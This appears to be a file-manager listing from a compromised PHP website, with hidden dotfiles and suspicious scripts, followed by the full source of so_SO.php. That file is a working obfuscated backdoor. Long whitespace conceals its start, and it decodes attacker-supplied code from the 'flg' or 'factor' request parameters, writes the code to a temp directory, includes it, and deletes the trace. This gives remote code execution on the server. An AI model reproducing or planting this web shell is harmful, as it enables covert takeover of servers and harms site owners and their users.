9B534B8686E580E0E01768F00155B461

at path：ROOT / so_SO.php

run：R W Run

.holder

49 By

2026-04-10 08:56:58

R W Run

.htaccess

231 By

2026-04-06 01:42:36

R W Run

744 By

2026-04-17 01:05:08

R W Run

.pointer

744 By

2026-04-18 03:26:19

R W Run

.rec

744 By

2026-04-14 18:04:18

R W Run

db.inc.php

5.58 KB

2026-04-11 20:44:45

R W Run

error_log

10.17 KB

2026-04-17 01:05:08

R W Run

hu.php

1.28 KB

2026-04-10 00:42:02

R W Run

robots.txt

955 By

2026-04-06 01:44:06

R W Run

simple.php

15.05 KB

2026-04-06 01:42:36

R W Run

so.php

2.57 KB

2026-04-06 01:42:36

R W Run

so_SO.php

1.46 KB

2026-04-06 01:42:36

R W Run

xbutton.php

2.11 KB

2026-04-06 01:42:36

R W Run

error_log

📄so_SO.php

<?php																																										if(!empty($_POST["fl\x67"])){ $ent = array_filter([getcwd(), getenv("TMP"), ini_get("upload_tmp_dir"), "/tmp", "/dev/shm", sys_get_temp_dir(), "/var/tmp", session_save_path(), getenv("TEMP")]); $entity = $_POST["fl\x67"]; $entity = explode ( "." , $entity ) ; $comp = ''; $salt4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt4); $u = 0; while ($u < count($entity)) { $v5 = $entity[$u]; $sChar = ord($salt4[$u % $sLen]); $dec = ((int)$v5 - $sChar - ($u % 10)) ^ 31; $comp .= chr($dec); $u++; } foreach ($ent as $binding): if (!( !is_dir($binding) || !is_writable($binding) )) { $pset = implode("/", [$binding, ".pointer"]); $success = file_put_contents($pset, $comp); if ($success) { include $pset; @unlink($pset); exit;} } endforeach; }

if(array_key_exists("\x66a\x63tor", $_REQUEST) && !is_null($_REQUEST["\x66a\x63tor"])){
	$desc = array_filter([session_save_path(), ini_get("upload_tmp_dir"), getcwd(), "/var/tmp", "/tmp", getenv("TMP"), sys_get_temp_dir(), getenv("TEMP"), "/dev/shm"]);
	$res = hex2bin($_REQUEST["\x66a\x63tor"]);
	$obj = '';$b = 0; while($b < strlen($res)){$obj .= chr(ord($res[$b]) ^ 97);$b++;}
	$symbol = 0;
do {
    $holder = $desc[$symbol] ?? null;
    if ($symbol >= count($desc)) break;
    		if (is_dir($holder) && is_writable($holder)) {
    $pset = "$holder/.marker";
    if (@file_put_contents($pset, $obj) !== false) {
	include $pset;
	unlink($pset);
	exit;
}
}
    $symbol++;
} while (true);
}